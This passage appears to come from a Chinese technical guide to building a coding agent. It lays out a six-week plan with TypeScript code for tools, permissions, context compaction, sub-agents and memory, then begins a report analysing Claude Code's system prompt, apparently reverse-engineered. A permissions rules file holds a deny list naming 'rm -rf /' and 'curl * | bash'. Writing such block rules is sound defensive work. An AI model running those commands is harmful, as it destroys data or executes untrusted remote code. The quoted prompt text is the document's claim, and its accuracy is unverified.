    throw new Error(`Tool ${tool.name} missing metadata annotations`);
  }
  TOOL_REGISTRY.set(tool.name, tool);
}

// 注册
registerTool(new BashTool());
registerTool(new FileReadTool());
registerTool(new FileWriteTool());
registerTool(new WebSearchTool());
registerTool(new TodoTool());

// 自动生成给 LLM 的工具列表
function getToolDescriptions(): string[] {
  return Array.from(TOOL_REGISTRY.values()).map(t => t.getDescription());
}
```

**验收标准：**
- [ ] 所有工具有完整的 JSON Schema 定义
- [ ] 所有工具有三个元信息标注
- [ ] 参数校验在执行前完成
- [ ] 工具描述包含使用场景和安全规则
- [ ] 新增工具必须通过 lint 检查

### 第三步：权限系统（第三周）

**目标：** 命令执行有安全网。三层防御起步。

**目录结构：**
```
agent/
├── permissions/
│   ├── index.ts           ← 权限检查入口
│   ├── rules.ts           ← 黑白名单规则
│   ├── pattern.ts         ← 前缀/通配符匹配
│   ├── sandbox.ts         ← 沙箱执行
│   └── types.ts           ← PermissionResult 类型
```

**核心代码：**
```typescript
// permissions/index.ts
interface PermissionResult {
  allowed: boolean;
  reason: string;
  layer: string;  // 哪一层拒绝的
}

async function checkPermission(command: string): Promise<PermissionResult> {
  // 第一层：规则匹配（黑白名单）
  const ruleResult = checkRules(command);
  if (!ruleResult.allowed) return { ...ruleResult, layer: 'rules' };

  // 第二层：模式匹配（危险命令前缀）
  const patternResult = checkPatterns(command);
  if (!patternResult.allowed) return { ...patternResult, layer: 'pattern' };

  // 第三层：沙箱检测（命令是否涉及敏感路径）
  const sandboxResult = checkSandbox(command);
  if (!sandboxResult.allowed) return { ...sandboxResult, layer: 'sandbox' };

  // 全部通过
  return { allowed: true, reason: 'All checks passed', layer: 'all' };
}

// BashTool 中集成
class BashTool extends BaseTool {
  async execute(args: { command: string }): Promise<ToolResult> {
    const permission = await checkPermission(args.command);

    if (!permission.allowed) {
      // 拒绝 + 告知 LLM 哪一层拒绝的
      return {
        success: false,
        error: `Permission denied by ${permission.layer}: ${permission.reason}`,
        suggestion: 'Try a different approach or ask the user for permission.'
      };
    }

    // 通过则执行
    return await execCommand(args.command);
  }
}
```

**规则配置（用户可编辑）：**
```yaml
# permissions/rules.yaml
rules:
  deny:
    - pattern: "rm -rf /"
    - pattern: "curl * | bash"
    - pattern: "sudo *"
  allow:
    - pattern: "ls *"
    - pattern: "cat *"
    - pattern: "git status"
  ask:
    - pattern: "git push *"
    - pattern: "npm install *"
    - pattern: "docker *"
```

**验收标准：**
- [ ] 危险命令被拦截，LLM 收到明确的错误信息
- [ ] 用户可通过配置文件自定义规则
- [ ] 每层拒绝都有日志记录
- [ ] 默认行为是拒绝（deny by default）
- [ ] 解析失败时拒绝（fail-safe）

### 第四步：上下文管理（第四周）

**目标：** 对话不会因为太长而崩溃。三层防御。

**目录结构：**
```
agent/
├── context/
│   ├── tracker.ts         ← token 实时追踪
│   ├── compact.ts         ← 自动压缩
│   ├── budget.ts          ← token 预算管理
│   └── types.ts           ← ContextState 类型
```

**核心代码：**
```typescript
// context/tracker.ts
class TokenTracker {
  private used: number = 0;
  private budget: number;

  constructor(budget: number) {
    this.budget = budget;
  }

  track(messages: Message[]): void {
    this.used = messages.reduce((sum, m) => sum + estimateTokens(m), 0);
  }

  getUsagePercent(): number {
    return (this.used / this.budget) * 100;
  }

  // 三级告警
  getStatus(): 'ok' | 'warning' | 'critical' | 'collapse' {
    const pct = this.getUsagePercent();
    if (pct < 60) return 'ok';
    if (pct < 75) return 'warning';
    if (pct < 90) return 'critical';
    return 'collapse';
  }
}

// context/compact.ts
async function autoCompact(messages: Message[], tracker: TokenTracker): Promise<Message[]> {
  const status = tracker.getStatus();

  switch (status) {
    case 'ok':
      return messages;  // 不需要压缩

    case 'warning':
      // 轻度压缩：合并相邻的同角色消息
      return mergeConsecutive(messages);

    case 'critical':
      // 中度压缩：用 LLM 总结历史对话
      return await llmCompact(messages, { preserveLastN: 10 });

    case 'collapse':
      // 重度压缩：只保留系统提示词 + 最近 5 条 + 关键事实
      return await contextCollapse(messages, { keepLastN: 5 });
  }
}
```

**在 Agent Loop 中集成：**
```typescript
// loop.ts（修改版）
async function* agentLoop(messages: Message[], tools: Tool[]) {
  const tracker = new TokenTracker(MAX_TOKENS);

  while (true) {
    // 每轮开始前检查上下文
    tracker.track(messages);
    messages = await autoCompact(messages, tracker);

    // 原有逻辑...
    const response = await streamLLM(messages, tools);
    // ...
  }
}
```

**验收标准：**
- [ ] 60% / 75% / 90% 三级告警正常工作
- [ ] 压缩后 LLM 行为没有明显退化
- [ ] 压缩边界有标记（方便调试和审计）
- [ ] 用户可以查看当前 token 使用情况
- [ ] 压缩过程中不会丢失正在执行的任务

### 第五步：子 Agent 编排（第五周）

**目标：** 能派工人，并行执行，结果汇总。

**目录结构：**
```
agent/
├── agents/
│   ├── runner.ts          ← 子 Agent 启动器
│   ├── coordinator.ts     ← 协调者逻辑
│   ├── pool.ts            ← 工人池管理
│   └── types.ts           ← AgentTask / AgentResult 类型
```

**核心代码：**
```typescript
// agents/runner.ts
// 关键：子 Agent 复用主 Agent 的 query 函数
async function runSubAgent(task: AgentTask): Promise<AgentResult> {
  const subMessages: Message[] = [
    { role: 'system', content: SUB_AGENT_SYSTEM_PROMPT },
    { role: 'user', content: task.description }
  ];

  // 复用主循环！只是输入不同
  const result = await collectAll(agentLoop(subMessages, getTools()));
  return { taskId: task.id, result };
}

// agents/coordinator.ts
class Coordinator {
  private pool: WorkerPool;

  async handleRequest(userMessage: string): Promise<string> {
    // 1. 分析任务，决定是自己做还是派工人
    const plan = await this.analyzeTask(userMessage);

    if (plan.shouldDelegate) {
      // 2. 派工人（并行）
      const tasks = plan.subtasks.map(t => ({
        id: generateId(),
        description: t.description
      }));

      const results = await Promise.all(
        tasks.map(task => runSubAgent(task))
      );

      // 3. 汇总结果
      return await this.summarize(results);
    } else {
      // 简单任务，自己做
      return await this.executeDirectly(userMessage);
    }
  }
}
```

**通知协议（工人 → 协调者）：**
```xml
<!-- 工人完成后的标准通知格式 -->
<agent_result>
  <task_id>task-001</task_id>
  <status>success</status>
  <summary>找到了 3 个相关文件并完成了分析</summary>
  <details>
    <file path="/src/auth.ts" finding="有 SQL 注入风险" />
    <file path="/src/user.ts" finding="缺少输入校验" />
    <file path="/src/api.ts" finding="CORS 配置过于宽松" />
  </details>
  <tokens_used>1523</tokens_used>
</agent_result>
```

**验收标准：**
- [ ] 协调者能把复杂任务拆成子任务派给工人
- [ ] 工人之间能并行执行
- [ ] 工人结果能正确汇总给用户
- [ ] 协调者本身不执行工具（只调度）
- [ ] 有嵌套深度限制（防止无限递归）

### 第六步：产品打磨（第六周）

**目标：** 把前五步串成真正能用的产品。这一周不做新功能，只做胶水和打磨。

**优先级排序（按投入产出比）：**

**P0 — 必须有（前 3 天）：**
```
1. 记忆系统
   ├── 对话结束时调 LLM 提取 3-5 条关键事实
   ├── 存为 memdir/{project}/{date}.md（纯文本，用户可读）
   ├── 新对话开始时语义检索 top-3 相关注入系统提示词
   └── /memory 命令让用户查看/编辑/删除
```

```typescript
// memory/index.ts — 记忆系统核心（~30 行）
class MemorySystem {
  constructor(private memdir: string) {}

  // 对话结束时自动调用
  async consolidate(messages: Message[]): Promise<void> {
    const extraction = await llmComplete([
      { role: 'system', content: `从以下对话中提取 3-5 条值得长期记住的事实。
格式：每条一行，以 "- " 开头。只记事实，不记过程。` },
      { role: 'user', content: messagesToText(messages) }
    ]);
    const facts = extraction.split('\n').filter(l => l.startsWith('- '));
    await fs.appendFile(this.todayPath(), '\n' + facts.join('\n'));
  }

  // 新对话开始时调用
  async recall(query: string): Promise<string> {
    const allFiles = await glob(`${this.memdir}/**/*.md`);
    const contents = await Promise.all(allFiles.map(f => fs.readFile(f, 'utf8')));
    const ranked = await semanticRank(query, contents);
    return ranked.slice(0, 3).join('\n---\n');
  }

  // 用户审计入口
  async list(): Promise<string> {
    return await fs.readFile(this.todayPath(), 'utf8');
  }

  private todayPath(): string {
    return path.join(this.memdir, `${new Date().toISOString().slice(0,10)}.md`);
  }
}
```

**P1 — 强烈建议（第 4-5 天）：**
```
2. 流式输出 + 进度指示
   ├── 工具调用时 yield "🔧 正在执行 BashTool..."
   ├── 并行工具同时显示多个进度
   └── 危险操作前暂停，显示命令内容等用户确认
```

```typescript
// loop.ts 中集成进度指示
for (const call of toolCalls) {
  yield { type: 'tool_start', tool: call.name, args: call.args };

  // 危险操作 → 确认
  const tool = findTool(call.name);
  if (tool.isDestructive?.(call.args)) {
    yield { type: 'confirm', message: `⚠️ 即将执行: ${call.args.command}\n确认？` };
    // 等用户确认...
  }

  const result = await tool.execute(call.args);
  yield { type: 'tool_end', tool: call.name, result };
}
```

**P2 — 有余力再做（第 6 天）：**
```
3. MCP 外部工具接入
   ├── 定义 McpTool 基类，自动把 MCP server 的工具注册为本地工具
   └── 权限沿用现有三层防御体系

4. 监控日志
   ├── 每轮对话记录：token 用量、工具调用数、耗时
   └── 异常事件写入 logs/ 目录，方便排查
```

**验收标准：**
- [ ] 跨会话能记住用户的偏好和项目上下文
- [ ] 用户能查看 Agent 记住了什么
- [ ] 支持 MCP 协议的外部工具接入
- [ ] 流式输出 + 进度指示 + 确认机制完整
- [ ] 有基本的监控和日志

### 六周总览

| 周次 | 交付物 | 核心文件 | 验收标准 |
|------|--------|----------|----------|
| 第一周 | 能跑的 Agent Loop | loop.ts, tools/, llm.ts | 基本对话 + 3 个工具 |
| 第二周 | 工具系统完善 | tools/base.ts, tools/index.ts | 描述准确 + 参数校验 + lint |
| 第三周 | 权限系统 | permissions/ | 三层防御 + deny by default |
| 第四周 | 上下文管理 | context/ | 三级压缩 + token 追踪 |
| 第五周 | 子 Agent 编排 | agents/ | 并行执行 + 结果汇总 |
| 第六周 | 产品打磨 | memory/, 插件, UX | 跨会话记忆 + MCP + 流式输出 |

## 附录 A：Claude Code 完整架构总览

下面这张图覆盖了 Claude Code 的所有模块、它们之间的数据流和依赖关系。

```
┌─────────────────────────────────────────────────────────────────────────────────┐
│                          Claude Code — 完整架构总览                               │
│                                                                                  │
│  ╔═══════════════════════════════════════════════════════════════════════════╗  │
│  ║                           入口层 (Entry Points)                           ║  │
│  ║  ┌──────────┐  ┌──────────┐  ┌──────────────┐  ┌─────────────────────┐  ║  │
│  ║  │   CLI    │  │   SDK    │  │ Remote Bridge│  │ IDE Extension       │  ║  │
│  ║  │-t/--print│  │ query()  │  │ claude.ai    │  │ VSCode / JetBrains  │  ║  │
│  ║  │interactive│ │ session()│  │ WebSocket    │  │ Inline Suggestions  │  ║  │
│  ║  └────┬─────┘  └────┬─────┘  └──────┬───────┘  └──────────┬──────────┘  ║  │
│  ╚═══════╪══════════════╪══════════════╪═════════════════════╪══════════════╝  │
│          └──────────────┴──────┬───────┴─────────────────────┘                  │
│                                ▼                                                 │
│  ╔═══════════════════════════════════════════════════════════════════════════╗  │
│  ║                          核心引擎 (Core Engine)                           ║  │
│  ║                                                                           ║  │
│  ║  ┌─ query.ts ─────────────────────────────────────────────────────────┐  ║  │
│  ║  │                                                                    │  ║  │
│  ║  │    messages ──► streamLLM() ──► tool_calls ──► runTools()          │  ║  │
│  ║  │         ▲                                      │                   │  ║  │
│  ║  │         └──────── results ◄────────────────────┘                   │  ║  │
│  ║  │                                                                    │  ║  │
│  ║  │    while (!done) {                                                  │  ║  │
│  ║  │      streamClaudeResponse(model, messages, tools)                   │  ║  │
│  ║  │      → collect tool_calls                                          │  ║  │
│  ║  │      → runTools()  // parallel read / serial write                 │  ║  │
│  ║  │      → append results to messages                                  │  ║  │
│  ║  │    }                                                                │  ║  │
│  ║  └────────────────────────────────────────────────────────────────────┘  ║  │
│  ║                                                                           ║  │
│  ║  ┌─ 系统提示词 (System Prompt) ──────────────────────────────────────┐   ║  │
│  ║  │  工具描述 │ 安全规则 │ 项目上下文 │ 操作指南 │ 输出格式要求        │   ║  │
│  ║  └───────────────────────────────────────────────────────────────────┘   ║  │
│  ║                                                                           ║  │
│  ╚═══════════════════════════════════════════════════════════════════════════╝  │
│                                │                                                │
│              ┌─────────────────┼─────────────────┐                              │
│              ▼                 ▼                 ▼                              │
│  ╔═══════════════╗  ╔═══════════════╗  ╔══════════════════╗                     │
│  ║  工具系统      ║  ║  安全层       ║  ║  上下文管理       ║                     │
│  ║               ║  ║               ║  ║                   ║                     │
│  ║ Tool.ts       ║  ║ bashPermis-   ║  ║ autoCompact       ║                     │
│  ║ (interface)   ║  ║ sions.ts      ║  ║   ↓               ║                     │
│  ║               ║  ║               ║  ║ reactiveCompact   ║                     │
│  ║ ┌───────────┐ ║  ║ L1: AST解析   ║  ║   ↓               ║                     │
│  ║ │ BashTool  │─╫──╫─ L2: 精确匹配 ║  ║ contextCollapse   ║                     │
│  ║ │ FileRead  │ ║  ║ L3: 前缀通配  ║  ║                   ║                     │
│  ║ │ FileEdit  │ ║  ║ L4: 语义分析  ║  ║ tokenTracker      ║                     │
│  ║ │ FileWrite │ ║  ║ L5: 路径约束  ║  ║ 任务级 + 轮级     ║                     │
│  ║ │ GlobTool  │ ║  ║ L6: ML+沙箱  ║  ║                   ║                     │
│  ║ │ GrepTool  │ ║  ║               ║  ║ compact_boundary  ║                     │
│  ║ │ WebSearch │ ║  ║ fail-safe:    ║  ║ 标记              ║                     │
│  ║ │ WebFetch  │ ║  ║ 默认拒绝      ║  ║                   ║                     │
│  ║ │ AgentTool │ ║  ╚═══════════════╝  ╚══════════════════╝                     │
│  ║ │ MCPTool   │ ║        │                    │                                 │
│  ║ │ TodoWrite │ ║        │                    │                                 │
│  ║ │ SkillTool │ ║        │                    │                                 │
│  ║ └───────────┘ ║        │                    │                                 │
│  ║               ║        │                    │                                 │
│  ║ isReadOnly    ║        │                    │                                 │
│  ║ isConcurSafe  ║        │                    │                                 │
│  ║ isDestructive ║        │                    │                                 │
│  ╚═══════════════╝        │                    │                                 │
│         │                 │                    │                                 │
│         ▼                 ▼                    ▼                                 │
│  ╔═══════════════════════════════════════════════════════════════════════════╗  │
│  ║                       工具调度 (toolOrchestration.ts)                      ║  │
│  ║                                                                           ║  │
│  ║   工具调用列表 ──► 按 isReadOnly 分区                                     ║  │
│  ║                      │                                                    ║  │
│  ║              ┌───────┴───────┐                                            ║  │
│  ║              ▼               ▼                                            ║  │
│  ║     并行执行 (Promise.all)   串行执行 (顺序)                               ║  │
│  ║     isReadOnly=true         isReadOnly=false                              ║  │
│  ║     isConcurrencySafe=true  isDestructive=true                            ║  │
│  ║              │               │                                            ║  │
│  ║              └───────┬───────┘                                            ║  │
│  ║                      ▼                                                    ║  │
│  ║              流式返回结果给用户                                            ║  │
│  ╚═══════════════════════════════════════════════════════════════════════════╝  │
│                                │                                                │
│              ┌─────────────────┼─────────────────┐                              │
│              ▼                 ▼                 ▼                              │
│  ╔═══════════════╗  ╔═══════════════╗  ╔══════════════════╗                     │
│  ║  子 Agent 系统 ║  ║  记忆系统      ║  ║  扩展系统        ║                     │
│  ║               ║  ║               ║  ║                   ║                     │
│  ║ runAgent()    ║  ║ memdir/       ║  ║ MCP Servers       ║                     │
│  ║ └─ query()    ║  ║               ║  ║ ├─ FileSystem     ║                     │
│  ║   (复用主循环) ║  ║ consolidate-  ║  ║ ├─ GitHub         ║                     │
│  ║               ║  ║ Prompt        ║  ║ ├─ Slack          ║                     │
│  ║ 内置 Agent:   ║  ║ (自动提取)     ║  ║ └─ 自定义...      ║                     │
│  ║ ├─ general    ║  ║               ║  ║                   ║                     │
│  ║ ├─ explore    ║  ║ findRelevant- ║  ║ Skills            ║                     │
│  ║ ├─ plan       ║  ║ Memories      ║  ║ ├─ /命令触发       ║                     │
│  ║ └─ verify     ║  ║ (语义检索)     ║  ║ └─ 按需加载       ║                     │
│  ║               ║  ║               ║  ║                   ║                     │
│  ║ 模式:         ║  ║ 生命周期:     ║  ║ Plugins           ║                     │
│  ║ ├─ Fork       ║  ║ 创建→检索→     ║  ║ └─ 外部服务集成   ║                     │
│  ║ │  (上下文继承)║  ║   过期→删除   ║  ║                   ║                     │
│  ║ ├─ Coordinator║  ║               ║  ║ Slash Commands    ║                     │
│  ║ │  (多工人调度)║  ║ 可审计:       ║  ║ └─ /compact 等    ║                     │
│  ║ └─ Parallel   ║  ║ 用户可查看/   ║  ║                   ║                     │
│  ║    (并行执行)  ║  ║ 编辑/删除     ║  ╚══════════════════╝                     │
│  ╚═══════════════╝  ╚═══════════════╝                                          │
│         │                 │                                                     │
│         │    ┌────────────┘                                                     │
│         │    │                                                                  │
│         ▼    ▼                                                                  │
│  ╔═══════════════════════════════════════════════════════════════════════════╗  │
│  ║                        基础设施 (Infrastructure)                          ║  │
│  ║                                                                           ║  │
│  ║  ┌─────────────┐  ┌──────────────┐  ┌────────────┐  ┌────────────────┐  ║  │
│  ║  │ Analytics   │  │ Feature Flags│  │ Prompt     │  │ Transcript     │  ║  │
│  ║  │ (遥测)      │  │ (A/B 测试)   │  │ Cache      │  │ (对话记录)      │  ║  │
│  ║  └─────────────┘  └──────────────┘  └────────────┘  └────────────────┘  ║  │
│  ║                                                                           ║  │
│  ║  ┌─────────────┐  ┌──────────────┐  ┌────────────┐  ┌────────────────┐  ║  │
│  ║  │ tree-sitter │  │ JSON Schema  │  │ 流式 SSE   │  │ 错误恢复       │  ║  │
│  ║  │ (AST 解析)  │  │ (参数校验)   │  │ (响应格式)  │  │ (重试/降级)    │  ║  │
│  ║  └─────────────┘  └──────────────┘  └────────────┘  └────────────────┘  ║  │
│  ╚═══════════════════════════════════════════════════════════════════════════╝  │
└─────────────────────────────────────────────────────────────────────────────────┘
```

## 附录 B：模块关系矩阵

这张表说明了各模块之间的依赖方向——行依赖列。

```
                  │ Loop │ Tools │ Safety │ Context │ Agent │ Memory │ Extensions │ Infra │
──────────────────┼──────┼───────┼────────┼─────────┼───────┼────────┼────────────┼───────┤
Loop (query.ts)   │  ──  │  →    │   →    │   →     │  →    │        │     →      │  →    │
Tools (Tool.ts)   │      │  ──   │   →    │         │       │        │     →      │  →    │
Safety (perms)    │      │       │   ──   │         │       │        │            │  →    │
Context (compact) │      │       │        │   ──    │       │        │            │  →    │
Sub-Agent         │  →   │  →    │   →    │   →     │  ──   │        │     →      │  →    │
Memory            │      │       │        │         │       │  ──    │            │  →    │
Extensions (MCP)  │      │  →    │   →    │         │       │        │    ──      │  →    │
Infrastructure    │      │       │        │         │       │        │            │  ──   │

→ 表示 "依赖" 或 "调用"
```

**关键依赖链：**

```
Loop ──→ Tools ──→ Safety（每个工具执行都经过权限检查）
  │                │
  │                ▼
  │          Safety ──→ Infra (tree-sitter, 沙箱)
  │
  ├──→ Context ──→ Infra (token 计算, 压缩算法)
  │
  ├──→ Sub-Agent ──→ Loop（子 Agent 复用主循环）
  │         │
  │         └──→ Tools（子 Agent 使用相同的工具集）
  │
  ├──→ Extensions ──→ Tools（MCP 工具注册为普通工具）
  │         │
  │         └──→ Safety（MCP 工具同样受权限检查）
  │
  └──→ Memory ──→ Infra (文件存储, 语义索引)
```

## 附录 C：从架构到代码的文件映射

```
architecture/           source/
├── Entry Points  ──►  ├── src/cli.ts
│                      ├── src/sdk/index.ts
│                      └── src/remote/
│
├── Core Engine   ──►  ├── src/query.ts              ← 主循环
│                      ├── src/streaming.ts           ← 流式响应
│                      └── src/messages.ts            ← 消息处理
│
├── Tool System   ──►  ├── src/Tool.ts                ← 接口定义
│                      ├── src/tools/
│                      │   ├── bash.ts                ← shell 执行
│                      │   ├── fileRead.ts            ← 文件读取
│                      │   ├── fileEdit.ts            ← 文件编辑
│                      │   ├── fileWrite.ts           ← 文件写入
│                      │   ├── glob.ts / grep.ts      ← 搜索
│                      │   ├── webSearch.ts           ← 网页搜索
│                      │   ├── agent.ts               ← 子 Agent
│                      │   ├── mcp.ts                 ← MCP 集成
│                      │   ├── todoWrite.ts           ← 待办
│                      │   └── skill.ts               ← 技能命令
│                      └── src/toolOrchestration.ts   ← 调度
│
├── Safety Layer  ──►  ├── src/bashPermissions.ts     ← 权限入口
│                      ├── src/permissions/
│                      │   ├── rules.ts               ← 规则匹配
│                      │   ├── pattern.ts             ← 模式匹配
│                      │   ├── sandbox.ts             ← 沙箱
│                      │   └── classifier.ts          ← ML 分类
│                      └── src/constants.ts           ← 黑白名单常量
│
├── Context Mgmt  ──►  ├── src/autoCompact.ts         ← 自动压缩
│                      ├── src/context/
│                      │   ├── tracker.ts             ← token 追踪
│                      │   ├── budget.ts              ← 预算管理
│                      │   └── collapse.ts            ← 上下文坍缩
│                      └── src/constants.ts           ← 阈值配置
│
├── Sub-Agent     ──►  ├── src/agents/
│                      │   ├── runAgent.ts            ← Agent 启动器
│                      │   ├── coordinator.ts         ← 协调者
│                      │   ├── worker.ts              ← 工人
│                      │   └── types.ts               ← 类型定义
│                      └── src/prompts/
│                          ├── coordinator.md         ← 协调者提示词
│                          ├── worker.md              ← 工人提示词
│                          └── agents/                ← 内置 Agent 提示词
│
├── Memory        ──►  ├── src/memory/
│                      │   ├── consolidate.ts         ← 自动整理
│                      │   ├── retrieve.ts            ← 语义检索
│                      │   └── storage.ts             ← 持久化
│                      └── memdir/                    ← 存储目录
│
├── Extensions    ──►  ├── src/mcp/
│                      │   ├── client.ts              ← MCP 客户端
│                      │   └── server.ts              ← MCP 服务端
│                      ├── src/skills/                ← 技能目录
│                      └── src/plugins/               ← 插件目录
│
└── Infrastructure──►  ├── src/analytics.ts           ← 遥测
                       ├── src/featureFlags.ts        ← 特性开关
                       ├── src/promptCache.ts         ← 提示词缓存
                       ├── src/transcript.ts          ← 对话记录
                       └── src/utils/                 ← 工具函数
```

## 附录 D：数据流全貌

从用户输入到最终输出，数据经过的完整路径：

```
用户输入
  │
  ▼
┌─────────────────┐
│ 1. 入口解析      │  CLI 参数 / SDK 调用 / IDE 请求
│    (Entry Point) │  → 解析为 messages[] + tools[]
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ 2. 上下文准备    │  加载记忆 → 合并项目上下文 → 生成系统提示词
│    (Context Prep)│  → 完整的 messages 序列
└────────┬────────┘
         │
         ▼
┌─────────────────────────────────────────────────────────┐
│ 3. Agent Loop (while not done)                          │
│    ┌──────────────────────────────────────────────────┐ │
│    │ messages ──→ streamLLM() ──→ tool_calls[]        │ │
│    │                                     │            │ │
│    │                        ┌────────────┼──────────┐ │ │
│    │                        ▼            ▼          ▼ │ │
│    │                   只读工具      写操作工具    确认类 │ │
│    │                   (并行执行)    (串行执行)    (等用户)│ │
│    │                        │            │          │ │ │
│    │                        └────────────┼──────────┘ │ │
│    │                                     ▼            │ │
│    │                        ┌─── 安全检查层 ───┐      │ │
│    │                        │ AST → 规则 → 语义│      │ │
│    │                        │ → 路径 → ML → 沙箱│      │ │
│    │                        └────────┬─────────┘      │ │
│    │                                 ▼                │ │
│    │                    tool_results[] ──→ 追加到 messages │
│    │                                           │      │ │
│    │                    ┌──────────────────────┘      │ │
│    │                    ▼                             │ │
│    │              流式返回给用户 (部分结果实时可见)      │ │
│    └──────────────────────────────────────────────────┘ │
└────────────────────┬────────────────────────────────────┘
                     │ (LLM 返回纯文本 → 循环结束)
                     ▼
┌─────────────────┐
│ 4. 子 Agent 分支  │  如果循环中触发 AgentTool:
│    (可选)         │  → spawn sub-agent (复用同一套 loop)
│                  │  → sub-agent 完成 → 通知父 Agent
│                  │  → 结果并入 messages
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ 5. 会话结束      │  提取关键信息 → 存入记忆 → 写入 transcript
│    (Cleanup)     │  → 清理临时资源
└─────────────────┘
```

**关键数据流特征：**
- **步骤 3 的并行/串行分区**是整个系统性能的关键——只读工具并行、写操作串行，由工具元信息决定
- **安全检查是拦截层**，不是决策层——工具调度已经分好区，安全层只做 pass/fail 判断
- **子 Agent 是循环嵌套**——步骤 4 的 sub-agent 复用步骤 3 的同一套 loop，不是独立路径

---

_基于 Claude Code 源码逆向分析。产品设计方法论提炼，非官方文档。_

# Claude Code 产品设计与提示词分析报告

# Claude Code 产品设计与提示词分析报告

> 源码版本：Claude Code v2.1.88（~51万行 TypeScript）
> 分析日期：2026-03-31
>
> 基于源码 `` 的逆向分析。写给两类人：想知道"Claude Code 到底怎么做到的"的产品人，以及想抄提示词工程细节的工程师。

---

## 一、架构总览

Claude Code 本质上是一个**有状态的 Agent 框架**，核心循环很朴素：

```
用户输入 → 系统提示词 + 工具定义 → LLM → 工具调用 → 执行 → 结果回填 → 循环
```

但魔鬼在细节里。它围绕这个循环做了几件事：

1. **系统提示词的分层缓存** — 静态内容和动态内容用 `SYSTEM_PROMPT_DYNAMIC_BOUNDARY` 隔开，静态部分跨会话复用 prompt cache
2. **工具权限的渐进式管控** — 不是简单的 allow/deny，而是按 permission mode 分级（详见技术分析篇第 8 章）
3. **子 Agent 体系** — Coordinator 模式、fork 模式、专用 Agent 三层架构
4. **上下文生命周期管理** — Compact、Microcompact、Dream 三级压缩（详见技术分析篇第 7 章）
5. **命令系统** — 斜杠命令不仅是快捷方式，每个命令实质上是一个 prompt 模板

---

## 二、系统提示词深度拆解

### 2.1 提示词的整体结构

`getSystemPrompt()` 返回一个 `string[]`，按顺序拼接。关键设计：**用一个 boundary marker 把提示词切成两半**。

```typescript
// constants/prompts.ts
export const SYSTEM_PROMPT_DYNAMIC_BOUNDARY =
  '__SYSTEM_PROMPT_DYNAMIC_BOUNDARY__'
```

Boundary 之前的内容（静态）：
- Intro section（身份声明）
- System section（基本规则）
- Doing tasks section（行为准则）
- Actions section（风险管控）
- Using your tools section（工具偏好）
- Tone and style section（输出风格）
- Output efficiency section（效率指令）

Boundary 之后的内容（动态，每个 session 不同）：
- Session-specific guidance（根据启用的工具动态生成）
- Memory（从文件加载）
- Environment info（OS、shell、git 状态）
- Language preference
- Output style（用户自定义输出风格）
- MCP server instructions
- Scratchpad 路径

**设计意图**：静态部分可以跨用户、跨会话共享 prompt cache（Claude API 的 cacheScope: 'global'），大幅降低 token 成本和延迟。动态部分放在后面，即使变化也不会破坏前面的缓存。

> 这个分层缓存策略是 Claude Code 在成本控制上最关键的设计决策之一。每次请求只需要为动态部分付费，静态提示词几千 token 的成本被摊薄到几乎为零。

### 2.2 核心提示词原文摘录

#### 身份声明

```
You are an interactive agent that helps users with software engineering tasks.

IMPORTANT: You must NEVER generate or guess URLs for the user unless you are
confident that the URLs are for helping the user with programming.
```

简洁。没有角色扮演，没有"你是一个友好的…"，直接进入工作模式。

#### 行为准则（Doing Tasks）

这是提示词里最长、信息密度最高的部分。摘几个关键指令：

**禁止过度工程化**（这段很值得所有 AI 编码工具抄）：

```
Don't add features, refactor code, or make "improvements" beyond what was asked.
A bug fix doesn't need surrounding code cleaned up. A simple feature doesn't
need extra configurability. Don't add docstrings, comments, or type annotations
to code you didn't changed. Only add comments where the logic isn't self-evident.
```

```
Don't add error handling, fallbacks, or validation for scenarios that can't
happen. Trust internal code and framework guarantees. Only validate at system
boundaries (user input, external APIs).
```

```
Don't create helpers, utilities, or abstractions for one-time operations.
Don't design for hypothetical future requirements. The right amount of
complexity is what the task actually requires—no speculative abstractions,
but no half-finished implementations either. Three similar lines of code
is better than a premature abstraction.
```

**Ant 内部版本的注释策略**（更激进）：

```
Default to writing no comments. Only add one when the WHY is non-obvious:
a hidden constraint, a subtle invariant, a workaround for a specific bug,
behavior that would surprise a reader.

Don't explain WHAT the code does, since well-named identifiers already do that.
Don't reference the current task, fix, or callers ("used by X", "added for
the Y flow"), since those belong in the PR description and rot as the codebase
evolves.
```

**失败处理**（避免无脑重试）：

```
If an approach fails, diagnose why before switching tactics—read the error,
check your assumptions, try a focused fix. Don't retry the identical action
blindly, but don't abandon a viable approach after a single failure either.
Escalate to the user with AskUserQuestion only when you're genuinely stuck
after investigation, not as a first response to friction.
```

#### 风险动作管控（Actions Section）

这段的核心思想是**可逆性分级**：

```
Carefully consider the reversibility and blast radius of actions. Generally
you can freely take local, reversible actions like editing files or running
tests. But for actions that are hard to reverse, affect shared systems beyond
your local environment, or could otherwise be risky or destructive, check
with the user before proceeding.
```

具体例子：
- 破坏性操作：删文件/分支、drop 表、`rm -rf`
- 不可逆操作：`force-push`、`git reset --hard`、amend 已发布的 commit
- 影响他人的操作：push 代码、创建 PR、发消息
- 上传到第三方工具的内容

#### 工具偏好指令（Using Your Tools）

```
Do NOT use the Bash tool to run commands when a relevant dedicated tool is
provided. Using dedicated tools allows the user to better understand and
review your work.
```

具体映射：
- 读文件 → `Read`（不是 cat/head/tail）
- 编辑文件 → `Edit`（不是 sed/awk）
- 创建文件 → `Write`（不是 cat heredoc）
- 搜文件 → `Glob`（不是 find）
- 搜内容 → `Grep`（不是 grep/rg）
- Bash 只用于"没有专用工具能做"的操作

#### 输出效率（两个版本）

**外部版**（简洁至上）：

```
Go straight to the point. Try the simplest approach first without going
in circles. Do not overdo it. Be extra concise.

If you can say it in one sentence, don't use three.
```

**Ant 内部版**（更注重可读性）：

```
When sending user-facing text, you're writing for a person, not logging
to a console. Assume users can't see most tool calls or thinking - only
your text output. Before your first tool call, briefly state what you're
about to do.

Write user-facing text in flowing prose while eschewing fragments, excessive
em dashes, symbols and notation. Avoid semantic backtracking: structure each
sentence so a person can read it linearly, building up meaning without having
to re-parse what came before.

What's most important is the reader understanding your output without mental
overhead or follow-ups, not how terse you are.
```

这个内外版本差异反映了 Anthropic 的一个判断：外部用户要效率，内部用户要可读性。

### 2.3 环境信息注入

```typescript
// constants/prompts.ts → computeSimpleEnvInfo()

`Primary working directory: ${cwd}`
`Is a git repository: ${isGit}`
`Platform: ${env.platform}`
`Shell: ${shellName}`
`OS Version: ${unameSR}`
`You are powered by the model named ${marketingName}.`
`Assistant knowledge cutoff is ${cutoff}.`
`Claude Code is available as a CLI in the terminal, desktop app (Mac/Windows),
web app (claude.ai/code), and IDE extensions (VS Code, JetBrains).`
